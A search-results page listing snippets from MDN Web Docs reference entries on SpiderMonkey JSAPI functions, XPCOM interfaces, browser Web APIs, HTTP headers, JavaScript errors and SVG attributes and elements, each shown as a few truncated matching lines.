syntax typedef struct { int32 type; } npanycallbackstruct; fields the data structure has the following field: type always contains np_print.
... description callback structures are used to pass platform-specific information.
... the npanycallbackstruct structure contains information required by the platformprint field of the npembedprint structure during embedded mode printing.
...And 4 more matches
Debug.msTraceAsyncCallbackCompleted - Archive of obsolete content
the debug.mstraceasynccallbackcompleted function indicates that an asynchronous operation has completed.
... syntax debug.mstraceasynccallbackcompleted() parameters asyncoperationid the id associated with the asynchronous operation.
... remarks call this function when the asynchronous operation completes.
...And 4 more matches
Netscape Navigator - MDN Web Docs Glossary: Definitions of Web-related terms
netscape navigator or netscape was a leading browser in the 1990s.
... netscape was based on mosaic and the netscape team was led by marc andreessen, a programmer who also wrote code for mosaic.
... netscape helped make the web graphical rather than a text-only experience.
...And 4 more matches
Capturing a minidump
for example, if the application is hanging (not responding to input, but hasn't crashed) then breakpad is not triggered, and it can be difficult to determine where the problem lies.
... sometimes a more complete form of minidump is needed to see additional details about a crash, in which case manual capture of a minidump is desired.
... this page describes how to capture these minidumps on windows, to permit better debugging.
...And 4 more matches
JSClass.call
the jsclass.call and jsclass.construct hooks are called when a custom object is used like a function.
... note that when a custom object is called, a this argument is calculated for it just as if it were a function.
... that is, the obj argument received by the jsnative is the this argument, not the custom object that was called!
...And 4 more matches
JS_ConcatStrings
concatenate two js strings.
... syntax jsstring * js_concatstrings(jscontext *cx, js::handlestring left, js::handlestring right); name type description cx jscontext * the context in which both the strings have been created.
... left js::handlestring first string to concatenate.
...And 4 more matches
JS_GetSecurityCallbacks
syntax /* added in spidermonkey 17 */ void js_setsecuritycallbacks(jsruntime *rt, const jssecuritycallbacks *callbacks); const jssecuritycallbacks * js_getsecuritycallbacks(jsruntime *rt); /* obsolete since jsapi 13 */ jssecuritycallbacks * js_setcontextsecuritycallbacks(jscontext *cx, jssecuritycallbacks *callbacks); jssecuritycallbacks * js_getruntimesecuritycallbacks(jsruntime *rt); jssecuritycallbacks * js_setruntimesecuritycallbacks(jsruntime *rt, jssecuritycallbacks *callbacks); name type description rt jsruntime * a runtime to get/set the security callbacks.
... callbacks const jssecuritycallbacks * a pointer to the new callbacks for the runtime.
... callback structure struct jssecuritycallbacks { jscspevalchecker contentsecuritypolicyallows; // added in spidermonkey 1.8.5 jssubsumesop subsumes; // added in spidermonkey 31 jscheckaccessop checkobjectaccess; // obsolete since jsapi 29 jsprincipalstranscoder principalstranscoder; // obsolete since jsapi 13 jsobjectprincipalsfinder findobjectprincipals; // obsolete since jsapi 13 }; name type description contentsecuritypolicyallows jscspevalchecker a pointer to the function which checks if a csp instance wants to disable eval() and friends.
...And 4 more matches
JS_LeaveLocalRootScopeWithResult
leave a local root scope, transferring the result value to the next enclosing root scope.
... syntax void js_leavelocalrootscopewithresult(jscontext *cx, jsval rval); name type description cx jscontext * pointer to the context.
... this must be the same context that was passed to js_enterlocalrootscope.
...And 4 more matches
JS_SetDefaultLocale
this article covers features introduced in spidermonkey 24 set and reset the default locale for the ecmascript internationalization api.
... syntax bool js_setdefaultlocale(jsruntime *rt, const char *locale); void js_resetdefaultlocale(jsruntime *rt); name type description rt jsruntime * pointer to a js runtime locale const char * string represents locale.
... description js_setdefaultlocale sets the default locale for the ecmascript internationalization api (intl.collator, intl.numberformat, intl.datetimeformat).
...And 4 more matches
JS_SetDestroyCompartmentCallback
this article covers features introduced in spidermonkey 17 set the callback function for each compartment being destroyed.
... syntax void js_setdestroycompartmentcallback(jsruntime *rt, jsdestroycompartmentcallback callback); name type description cx jsruntime * the runtime to set the callback function.
... callback jsdestroycompartmentcallback callback function which will be called for each compartment being destroyed (see below).
...And 4 more matches
IAccessibleApplication
other-licenses/ia2/accessibleapplication.idlnot scriptable this interface gives access to the application's name and version information.
... 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface provides the at with the information it needs to differentiate this application from other applications, from other versions of this application, or from other versions of this application running on different versions of an accessibility bridge or accessibility toolkit.
... servers implementing iaccessible2 should provide access to the iaccessibleapplication interface via queryservice from any object so that ats can easily determine specific information about the application such as its name or version.
...And 4 more matches
nsICacheDeviceInfo
netwerk/cache/nsicachevisitor.idlscriptable this interface provides information about a cache device.
... inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description description string get a human readable description of the cache device.
... entrycount unsigned long get the number of stored cache entries.
...And 4 more matches
nsIContentPrefCallback2
dom/interfaces/base/nsicontentprefservice2.idlscriptable callback used by nsicontentprefservice2 methods 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) method overview void handlecompletion(in unsigned short reason); void handleerror(in nsresult error); void handleresult(in nsicontentpref pref); constants constant value description complete_ok 0 complete_error 1 methods handlecompletion() called when the method finishes.
... this will be called exactly once for each method invocation, and afterward no other callback methods will be called.
... void handlecompletion( in unsigned short reason ); parameters reason one of the complete_* values indicating the manner in which the method completed.
...And 4 more matches
nsIMessageBroadcaster
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsimessagelistenermanager message "broadcasters" don't have a single "other side" that they send messages to, but rather a set of subordinate message managers.
... for example, broadcasting a message through a window message manager will broadcast the message to all frame message managers within its window.
... see message manager interfaces for more details on the distinction between message senders and message broadcasters.
...And 4 more matches
BasicCardResponse.billingAddress - Web APIs
the billingaddress property of the basiccardresponse dictionary contains the billing address of the card used to make the payment.
... syntax "billingaddress" : paymentaddress value a paymentaddress object representing the billing address of the card.
... example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
...And 4 more matches
BasicCardResponse.expiryMonth - Web APIs
the expirymonth property of the basiccardresponse dictionary contains the expiry month of the card used to make the payment.
... syntax "expirymonth" : "number" value a domstring representing the card expiry month as a two-digit number in the range 01 to 12.
... example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
...And 4 more matches
BasicCardResponse.expiryYear - Web APIs
the expiryyear property of the basiccardresponse dictionary contains the expiry year of the card used to make the payment.
... syntax "expiryyear" : "number" value a domstring representing the card expiry year as a four-digit number in the range 0000 to 9999.
... example let's look at a sample payment request: var request = new paymentrequest(supportedinstruments, details, options); // call show() to trigger the browser's payment flow.
...And 4 more matches
Cache.addAll() - Web APIs
WebAPICacheaddAll
the addall() method of the cache interface takes an array of urls, retrieves them, and adds the resulting response objects to the given cache.
... note: addall() will overwrite any key/value pairs previously stored in the cache that match the request, but will fail if a resulting put() operation would overwrite a previous cache entry stored by the same addall() method.
... syntax cache.addall(requests[]).then(function() { // requests have been added to the cache }); parameters requests an array of string urls that you want to be fetched and added to the cache.
...And 4 more matches
Cache.matchAll() - Web APIs
WebAPICachematchAll
the matchall() method of the cache interface returns a promise that resolves to an array of all matching responses in the cache object.
... syntax cache.matchall(request, {options}).then(function(response) { // do something with the response array }); parameters request optional the request for which you are attempting to find responses in the cache.
... this can be a request object or a url.
...And 4 more matches
CacheStorage.open() - Web APIs
WebAPICacheStorageopen
the open() method of the cachestorage interface returns a promise that resolves to the cache object matching the cachename.
... you can access cachestorage through the global caches property.
... note: if the specified cache does not exist, a new cache is created with that cachename and a promise that resolves to this new cache object is returned.
...And 4 more matches
CanvasRenderingContext2D.createImageData() - Web APIs
the canvasrenderingcontext2d.createimagedata() method of the canvas 2d api creates a new, blank imagedata object with the specified dimensions.
...a negative value flips the rectangle around the vertical axis.
... html <canvas id="canvas"></canvas> javascript the generated object is 100 pixels wide and 50 pixels tall, making 5,000 pixels in all.
...And 4 more matches
CanvasRenderingContext2D.fillStyle - Web APIs
the canvasrenderingcontext2d.fillstyle property of the canvas 2d api specifies the color, gradient, or pattern to use inside shapes.
... for more examples of fill and stroke styles, see applying styles and color in the canvas tutorial.
... gradient a canvasgradient object (a linear or radial gradient).
...And 4 more matches
CanvasRenderingContext2D.filter - Web APIs
the canvasrenderingcontext2d.filter property of the canvas 2d api provides filter effects such as blurring and grayscaling.
...specifies the vertical distance of the shadow.
... grayscale() a css <percentage>.
...And 4 more matches
CanvasRenderingContext2D.strokeStyle - Web APIs
the canvasrenderingcontext2d.strokestyle property of the canvas 2d api specifies the color, gradient, or pattern to use for the strokes (outlines) around shapes.
... for more examples of stroke and fill styles, see applying styles and color in the canvas tutorial.
... gradient a canvasgradient object (a linear or radial gradient).
...And 4 more matches
Document: transitioncancel event - Web APIs
the transitioncancel event is fired when a css transition is canceled.
... see globaleventhandlers.ontransitioncancel for more information.
... bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitioncancel the original target for this event is the element that had the transition applied.
...And 4 more matches
Element.releasePointerCapture() - Web APIs
the releasepointercapture() method of the element interface releases (stops) pointer capture that was previously set for a specific (pointerevent) pointer.
... see the element.setpointercapture() method for a description of pointer capture and how to set it for a particular element.
... syntax targetelement.releasepointercapture(pointerid); parameters pointerid the pointerid of a pointerevent object.
...And 4 more matches
GlobalEventHandlers.onpointercancel - Web APIs
the onpointercancel property of the globaleventhandlers mixin is an eventhandler that processes pointercancel events.
... syntax targetelement.onpointercancel = cancelhandler; var cancelhandler = targetelement.onpointercancel; value cancelhandler the pointercancel event handler for element targetelement.
... example this example shows two ways to use onpointercancel to handle an element's pointercancel events.
...And 4 more matches
GlobalEventHandlers.ontouchcancel - Web APIs
the ontouchcancel property of the globaleventhandlers mixin is an eventhandler that processes touchcancel events.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... syntax var cancelhandler = someelement.ontouchcancel; return value cancelhandler the touchcancel event handler for element someelement.
...And 4 more matches
HTMLCanvasElement.mozOpaque - Web APIs
the non-standard htmlcanvaselement.mozopaque property is a boolean reflecting the moz-opaque html attribute of the <canvas> element.
... it lets the canvas know whether or not translucency will be a factor.
... if the canvas knows there's no translucency, painting performance can be optimized.
...And 4 more matches
HTMLMediaElement.canPlayType() - Web APIs
the htmlmediaelement method canplaytype() reports how likely it is that the current browser will be able to play media of a given mime type.
... syntax canplayresponse = audioorvideo.canplaytype(mediatype); parameters mediatype a domstring containing the mime type of the media.
... return value a domstring indicating how likely it is that the media can be played.
...And 4 more matches
ImageCapture.getPhotoSettings() - Web APIs
the getphotosettings() method of the imagecapture interface returns a promise that resolves with a photosettings object containing the current photo configuration settings.
... syntax const settingspromise = imagecapture.getphotosettings() return value a promise that resolves with a photosettings object containing the following properties: filllightmode: the flash setting of the capture device, one of "auto", "off", or "on".
... redeyereduction: a boolean indicating whether the red-eye reduction should be used if it is available.
...And 4 more matches
ImageCapture.takePhoto() - Web APIs
the takephoto() method of the imagecapture interface takes a single exposure using the video capture device sourcing a mediastreamtrack and returns a promise that resolves with a blob containing the data.
... syntax const blobpromise = imagecaptureobj.takephoto([photosettings]) parameters photosettings optional an object that sets options for the photo to be taken.
... the available options are: filllightmode: the flash setting of the capture device, one of "auto", "off", or "flash".
...And 4 more matches
Location: assign() - Web APIs
WebAPILocationassign
the location.assign() method causes the window to load and display the document at the url specified.
... after the navigation occurs, the user can navigate back to the page that called location.assign() by pressing the "back" button.
... if the assignment can't happen because of a security violation, a domexception of the security_error type is thrown.
...And 4 more matches
MediaCapabilities - Web APIs
the mediacapabilities interface of the media capabilities api provides information about the decoding abilities of the device, system and browser.
... the api can be used to query the browser about the decoding abilities of the device based on codecs, profile, resolution, and bitrates.
... the information can be used to serve optimal media streams to the user and determine if playback should be smooth and power efficient.
...And 4 more matches
MediaTrackSupportedConstraints.logicalSurface - Web APIs
the mediatracksupportedconstraints dictionary's logicalsurface property indicates whether or not the logicalsurface constraint is supported by the user agent and the device on which the content is being used.
... the supported constraints list is obtained by calling navigator.mediadevices.getsupportedconstraints().
... syntax islogicalsurfacesupported = supportedconstraints.logicalsurface; value a boolean value which is true if the logicalsurface constraint is supported by the device and user agent.
...And 4 more matches
RTCIceCandidate.foundation - Web APIs
the rtcicecandidate interface's read-only foundation property is a string which uniquely identifies the candidate across multiple transports.
... as such, the foundation can be used to correlate candidates that are present on multiple rtcicetransport objects syntax var foundation = rtcicecandidate.foundation; value a domstring which uniquely identifies the candidate across all rtcicetransports on which it is available.
... note: if port is null — and port is supported by the user agent — passing the candidate to addicecandidate() will fail, throwing an operationerror exception.
...And 4 more matches
RTCIceCandidate.sdpMLineIndex - Web APIs
the read-only sdpmlineindex property on the rtcicecandidate interface is a zero-based index of the m-line describing the media associated with the candidate.
... this value is specified when creating the rtcicecandidate by setting the corresponding sdpmlineindex value in the rtcicecandidateinit object when creating a new candidate with new rtcicecandidate().
... if you instead call rtcicecandidate() with a string parameter containing the candidate m-line text, the value of sdpmlineindex is extracted from the m-line.
...And 4 more matches
RTCIceCandidatePair.remote - Web APIs
the remote property of the rtcicecandidatepair dictionary specifies the rtcicecandidate describing the configuration of the remote end of a viable webrtc connection.
... syntax remotecandidate = rtcicecandidatepair.remote; value an rtcicecandidate which describes the configuration of the remote end of a viable pair of ice candidates.
... the rtcicecandidatepair is returned by the rtcicetransport method getselectedcandidatepair().
...And 4 more matches
RTCIceCandidatePair - Web APIs
the rtcicecandidatepair dictionary describes a pair of ice candidates which together comprise a description of a viable connection between two webrtc endpoints.
... it is used as the return value from rtcicetransport.getselectedcandidatepair() to identify the currently-selected candidate pair identified by the ice agent.
... properties local an rtcicecandidate describing the configuration of the local end of the connection.
...And 4 more matches
RTCIceCandidateStats.protocol - Web APIs
the rtcicecandidatestats dictionary's protocol property specifies the protocol the specified candidate would use for communication with the remote peer.
... syntax protocol = rtcicecandidatestats.protocol; value the value is one of the members of the rtciceprotocol enumerated string type: tcp the candidate, if selected, would use tcp as the transport protocol for its data.
... the tcptype property provides additional information about the kind of tcp candidate represented by the object.
...And 4 more matches
RTCIceCandidateStats.url - Web APIs
the rtcicecandidatestats dictionary's url property specifies the url of the ice server from which the described candidate was obtained.
... this property is only available for local candidates.
... syntax url = rtcicecandidatestats.url; value a domstring specifying the url of the ice server from which the candidate described by the rtcicecandidatestats was obtained.
...And 4 more matches
RTCIceTransport.onselectedcandidatepairchange - Web APIs
the rtcicetransport interface's onselectedcandidatepairchange event handler specifies a function to be called to handle the selectedcandidatepairchange event, which is fired when the ice agent selects a new candidate pair to be used for the connection.
... syntax rtcicetransport.onselectedcandidatepairchange = candidatepairhandler; value this propoerty should be set to reference an event handler function to be called by the ice agent when it discovers a new candidate pair that the rtcicetransport will be using for communication with the remote peer.
... this event will occur at least once, and may occur more than once if the ice agent continues to identify candidate pairs that will work better, more closely match the requested parameters, and so forth.
...And 4 more matches
RTCIceTransport: selectedcandidatepairchange event - Web APIs
a selectedcandidatepairchange event is sent to an rtcicetransport when the ice agent selects a new pair of candidates that describe the endpoints of a viable connection.
... the pair of candidates is in turn described by an rtcicecandidatepair object which contains one rtcicecandidate representing the local end of the connection, and another representing the remote end of the connection.
... together, the candidates can be used to establish a connection to be used by the rtcicetransport, and, by extension, by an rtcpeerconnection.
...And 4 more matches
RTCPeerConnection.pendingLocalDescription - Web APIs
the read-only property rtcpeerconnection.pendinglocaldescription returns an rtcsessiondescription object describing a pending configuration change for the local end of the connection.
...use rtcpeerconnection.currentlocaldescription or rtcpeerconnection.localdescription to get the current state of the endpoint.
... syntax sessiondescription = rtcpeerconnection.pendinglocaldescription; return value if a local description change is in progress, this is an rtcsessiondescription describing the proposed configuration.
...And 4 more matches
RTCRtpCodecCapability - Web APIs
the webrtc api's rtcrtpcodeccapability dictionary provides information describing the capabilities of a single media codec.
... properties channels optional an unsigned integer value indicating the maximum number of channels supported by the codec; for example, a codec that supports only mono sound would have a value of 1; stereo codecs would have a 2, etc.
... mimetype a domstring indicating the codec's mime media type and subtype.
...And 4 more matches
RTCRtpEncodingParameters.scaleResolutionDownBy - Web APIs
the rtcrtpencodingparameters dictionary's scaleresolutiondownby property can be used to specify a factor by which to reduce the size of a video track during encoding.
... syntax rtpencodingparameters.scaleresolutiondownby = scalingfactor; rtpencodingparameters = { scaleresolutiondownby: scalingfactor }; value a double-precison floating-point number specifying the amount by which to reduce the size of the video during encoding.
...a value of 2.0 would reduce the size of the video by a factor of 2 both horizontally and vertically, resulting in a video 25% the original size.
...And 4 more matches
onnotificationclose - Web APIs
the serviceworkerglobalscope.onnotificationclose property is an event handler called whenever the notificationclose event is dispatched on the serviceworkerglobalscope object, that is when a user closes a displayed notification spawned by serviceworkerregistration.shownotification().
... notifications created on the main thread or in workers which aren't service workers using the notification() constructor will instead receive a close event on the notification object itself.
... note: trying to create a notification inside the serviceworkerglobalscope using the notification() constructor will throw an error.
...And 4 more matches
Window.captureEvents() - Web APIs
the window.captureevents() method registers the window to capture all events of the specified type.
... syntax window.captureevents(eventtype) eventtype is a combination of the following values: event.abort, event.blur, event.click, event.change, event.dblclick, event.dragddrop, event.error, event.focus, event.keydown, event.keypress, event.keyup, event.load, event.mousedown, event.mousemove, event.mouseout, event.mouseover, event.mouseup, event.move, event.reset, event.resize, event.select, event.submit, event.unload.
...--> <script> function reg() { window.captureevents(event.click); window.onclick = page_click; } function page_click() { alert('page click event detected!'); } </script> </head> <body onload="reg();"> <p>click anywhere on this page.</p> </body> </html> notes events raised in the dom by user activity (such as clicking buttons or shifting focus away from the current document) generally pass through the high-level window and document objects first before arriving at the object that initiated the event.
...And 4 more matches
Window: transitioncancel event - Web APIs
the transitioncancel event is fired when a css transition is canceled.
... see globaleventhandlers.ontransitioncancel for more information.
... bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitioncancel the original target for this event is the element that had the transition applied.
...And 4 more matches
<progress>: The Progress Indicator element - HTML: Hypertext Markup Language
WebHTMLElementprogress
the html <progress> element displays an indicator showing the completion progress of a task, typically displayed as a progress bar.
... content categories flow content, phrasing content, labelable content, palpable content.
... max this attribute describes how much work the task indicated by the progress element requires.
...And 4 more matches
WWW-Authenticate - HTTP
the http www-authenticate response header defines the authentication method that should be used to gain access to a resource.
... the www-authenticate header is sent along with a 401 unauthorized response.
... header type response header forbidden header name no syntax www-authenticate: <type> realm=<realm>[, charset="utf-8"] directives <type> authentication type.
...And 4 more matches
TypeError: can't define property "x": "obj" is not extensible - JavaScript
the javascript exception "can't define property "x": "obj" is not extensible" occurs when object.preventextensions() marked an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible.
... message typeerror: cannot create property for a non-extensible object (edge) typeerror: can't define property "x": "obj" is not extensible (firefox) typeerror: cannot define property: "x", object is not extensible.
... usually, an object is extensible and new properties can be added to it.
...And 4 more matches
Warning: String.x is deprecated; use String.prototype.x instead - JavaScript
message warning: string.charat is deprecated; use string.prototype.charat instead warning: string.charcodeat is deprecated; use string.prototype.charcodeat instead warning: string.concat is deprecated; use string.prototype.concat instead warning: string.contains is deprecated; use string.prototype.contains instead warning: string.endswith is deprecated; use string.prototype.endswith instead warning: string.includes is deprecated; use string.prototype.includes instead warning: string.indexof is deprecated; use string.prototype.
...indexof instead warning: string.lastindexof is deprecated; use string.prototype.lastindexof instead warning: string.localecompare is deprecated; use string.prototype.localecompare instead warning: string.match is deprecated; use string.prototype.match instead warning: string.normalize is deprecated; use string.prototype.normalize instead warning: string.replace is deprecated; use string.prototype.replace instead warning: string.search is deprecated; use string.prototype.search instead warning: string.slice is deprecated; use string.prototype.slice instead warning: string.split is deprecated; use string.prototype.split instead warning:...
... string.startswith is deprecated; use string.prototype.startswith instead warning: string.substr is deprecated; use string.prototype.substr instead warning: string.substring is deprecated; use string.prototype.substring instead warning: string.tolocalelowercase is deprecated; use string.prototype.tolocalelowercase instead warning: string.tolocaleuppercase is deprecated; use string.prototype.tolocaleuppercase instead warning: string.tolowercase is deprecated; use string.prototype.tolowercase instead warning: string.touppercase is deprecated; use string.prototype.touppercase instead warning: string.trim is deprecated; use string.prototype.trim instead warning: string.trimleft is depre...
...And 4 more matches
categories - Web app manifests
type array of strings mandatory no the categories member is an array of strings defining the names of categories that the application supposedly belongs to.
... there is no standard list of possible values, but the w3c maintains a list of known categories.
... note: categories are used only as hints for catalogs or stores listing web applications.
...And 4 more matches
related_applications - Web app manifests
type array mandatory no the related_applications field is an array of objects specifying native applications that are installable by, or accessible to, the underlying platform — for example, a native android application obtainable through the google play store.
... such applications are intended to be alternatives to the manifest's website that provides similar/equivalent functionality — like the native app equivalent.
... note: developer can specify that the native applications are preferred over the web application by setting prefer_related_applications to true.
...And 4 more matches
clip-path - SVG: Scalable Vector Graphics
note: as a presentation attribute clip-path can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has noticeable effects mostly on the following nineteen elements: <a>, <circle>, <clippath>, <ellipse>, <g>, <glyph>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <symbol>, <text>, <use> html,body,svg { height:100% } <svg viewbox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"> <clippath id="myclip" clippathunits="objectboundingbox"> <circle cx=".5" cy=".5" r=".5" /> </clippath> <!-- top-left: apply a custom defined clipping path --> <rect x="1" y="1" width="8" height="8" stroke="green" clip-path="url(#myclip)" /> <!-- top-right: apply a css basic shape on a fill-box geometry.
...ppathunits set to userspaceonuse --> <rect x="11" y="11" width="8" height="8" stroke="green" clip-path="circle() view-box" /> </svg> usage notes value <url> | [ <basic-shape> || <geometry-box> ] | none default value none animatable yes <geometry-box> an extra information to tell how a <basic-shape> is applied to an element: fill-box indicates to use the object bounding box; stroke-box indicates to use the object bounding box extended with the stroke; view-box indicates to use the nearest svg viewport as the reference box.
...And 4 more matches
color-rendering - SVG: Scalable Vector Graphics
in this case, the svg user agent should perform color operations in a way that optimizes performance, which might mean sacrificing the color interpolation precision as specified by through the linearrgb value for color-interpolation-filters.
... note: as a presentation attribute, color-rendering can be used as a css property.
... as a presentation attribute, it can be applied to any element but it only has an effect on the following 29 elements: <a>, <animate>, <animatecolor>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <glyph>, <image>, <line>, <lineargradient>, <marker>, <mask>, <missing-glyph>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill...
...And 4 more matches
data-* - SVG: Scalable Vector Graphics
WebSVGAttributedata-*
the data-* svg attributes are called custom data attributes.
... they let svg markup and its resulting dom share information that standard attributes can't, usually for scripting purposes.
... the * can be replaced by any characters allowed in xml's rules for names, with the following restrictions: can't start with xml.
...And 4 more matches
externalResourcesRequired - SVG: Scalable Vector Graphics
this attribute applies to all types of resource references, including style sheets, color profiles and fonts specified by a reference using a <font-face> element or a css @font-face specification.
... because setting externalresourcesrequired="true" on a container element will have the effect of disabling progressive display of the contents of that container, if that container includes elements that reference external resources, authors should avoid simply setting externalresourcesrequired="true" on the outermost <svg> element on a universal basis.
... instead, it is better to specify externalresourcesrequired="true" on those particular graphics elements or container elements which specifically need the availability of external resources in order to render properly.
...And 4 more matches
font-family - SVG: Scalable Vector Graphics
the font-family attribute indicates which font family will be used to render the text, specified as a prioritized list of font family names and/or generic family names.
... note: as a presentation attribute, font-family can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-family="arial, helvetica, sans-serif">sans serif</text> <text x="100" y="20" font-family="monospace">monospace</text> </svg> usage notes value [ <family-name> | <generic-family> ]#where <family-name> = <string> | <custom-ident>+<generic-family> = serif | sans-serif | cursive | fantasy | monospace default value depends on user agent animatable yes for a description of the values, please refer to the ...
...And 4 more matches
image-rendering - SVG: Scalable Vector Graphics
note: as a presentation attribute, image-rendering can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following element: <image> usage notes value auto | optimizespeed | optimizequality default value auto animatable yes auto indicates that the user agent shall make appropriate tradeoffs to balance speed and quality, but quality shall be given more importance than speed.
... optimizespeed indicates that the user agent shall emphasize rendering speed over quality.
...And 4 more matches
keyPoints - SVG: Scalable Vector Graphics
the keypoints attribute indicates the simple duration of an animation.
...//www.w3.org/1999/xlink"> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="motionpath"/> <circle cx="10" cy="110" r="3" fill="lightgrey"/> <circle cx="110" cy="10" r="3" fill="lightgrey"/> <circle r="5" fill="red"> <animatemotion dur="3s" repeatcount="indefinite" keypoints="0;0.5;1" keytimes="0;0.15;1" calcmode="linear"> <mpath xlink:href="#motionpath"/> </animatemotion> </circle> </svg> usage notes value <number> [; <number>]* ;?
... this value defines a semicolon-separated list of floating point values between 0 and 1 and indicates how far along the motion path the object shall move at the moment in time specified by corresponding keytimes value.
...And 4 more matches
opacity - SVG: Scalable Vector Graphics
WebSVGAttributeopacity
note: as a presentation attribute, opacity can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following elements: <a>, <audio>, <canvas>, <circle>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <marker>, <path>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <use>, <unknown>, and <video> html, body, svg { height: 100%; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" x1="0%" y1="0%" x2="0" y2="100%"> <stop offset="0%" style="stop-color:skyblue;" /> <stop offset="100%" style="stop-color:seagreen;" /> </lineargradient> </defs> <rect x="0" y="0" width="100%" height="100%" fill="url(#gradient)" /> <circle ...
... specifications specification status comment css color module level 4the definition of 'opacity' in that specification.
...And 4 more matches
order - SVG: Scalable Vector Graphics
WebSVGAttributeorder
the order attribute indicates the size of the matrix to be used by a <feconvolvematrix> element.
... 0 0 0 -4" order="1 1 1"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#emboss1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#emboss2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value 3 animatable yes <number-optional-number> this value indicates the number of cells in each dimension for the kernel matrix.
...values that are not integers will be truncated, i.e.
...And 4 more matches
target - SVG: Scalable Vector Graphics
WebSVGAttributetarget
this attribute specifies the name of the browsing context (e.g., a browser tab or an (x)html iframe or object element) into which a document is to be opened when the link is activated: only one element is using this attribute: <a> html, body, svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within iframe</text> </a> <a href="https://developer.mozilla.org" target="_blank"> <text x="0" y="60">open link in new tab or window</text> </a> <a href="https://developer.
... _parent the immediate parent browsing context of the svg image is replaced by the linked content, if it exists and can be securely accessed from this document.
... _top the content of the full active window or tab is replaced by the linked content, if it exists and can be securely accessed from this document _blank a new un-named window or tab is requested for the display of the linked content, if this document can securely do so.
...And 4 more matches
text-decoration - SVG: Scalable Vector Graphics
note: as a presentation attribute, text-decoration can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 50" xmlns="http://www.w3.org/2000/svg"> <text y="20" text-decoration="underline">underlined text</text> <text x="0" y="40" text-decoration="line-through">struck-through text</text> </svg> usage notes value <'text-decoration-line'> || <'text-decoration-style'> || <'text-decoration-color'> default value see individual properties animatable yes for a description of the values, please refer to the css text-decoration property.
... specifications specification status comment css text decoration module level 3the definition of 'text-decoration' in that specification.
...And 4 more matches
z - SVG: Scalable Vector Graphics
WebSVGAttributez
the z attribute defines the location along the z-axis for a light source in the coordinate system established by the primitiveunits attribute on the <filter> element, assuming that, in the initial coordinate system, the positive z-axis comes out towards the person viewing the content and assuming that one unit along the z-axis equals one unit in x and y.
..."100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="50" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> fepointlight for <fepointlight>, z defines the location along the z-axis for the light source in the coordinate system established by the primitiveunits attribute on the <filter> element.
... value <number> default value 1 animatable yes fespotlight for <fespotlight>, z defines the location along the z-axis for the light source in the coordinate system established by the primitiveunits attribute on the <filter> element.
...And 4 more matches
<altGlyph> - SVG: Scalable Vector Graphics
WebSVGElementaltGlyph
the <altglyph> svg element allows sophisticated selection of the glyphs used to render its child character data.
... usage context categoriestext content element, text content child elementpermitted contentany elements or character data attributes x this attribute defines the corresponding absolute x-coordinates for rendering the element.
... value type: <list-of-coordinates> ; default value: absolute y-coordinate of ancestor <text> or <tspan>; animatable: yes dx this attribute indicates a shift along the x-axis on the position of the element.
...And 4 more matches
<image> - SVG: Scalable Vector Graphics
WebSVGElementimage
it can display raster image files or other svg files.
... svg files displayed with <image> are treated as an image: external resources aren't loaded, :visited styles aren't applied, and they cannot be interactive.
... usage context categoriesgraphics element, graphics referencing elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements attributes global attributes conditional processing attributes core attributes graphical event attributes presentation attributes xlink attributes class style externalresourcesrequired transform specific attributes x: positions the image horizontally from the origin.
...And 4 more matches
<text> - SVG: Scalable Vector Graphics
WebSVGElementtext
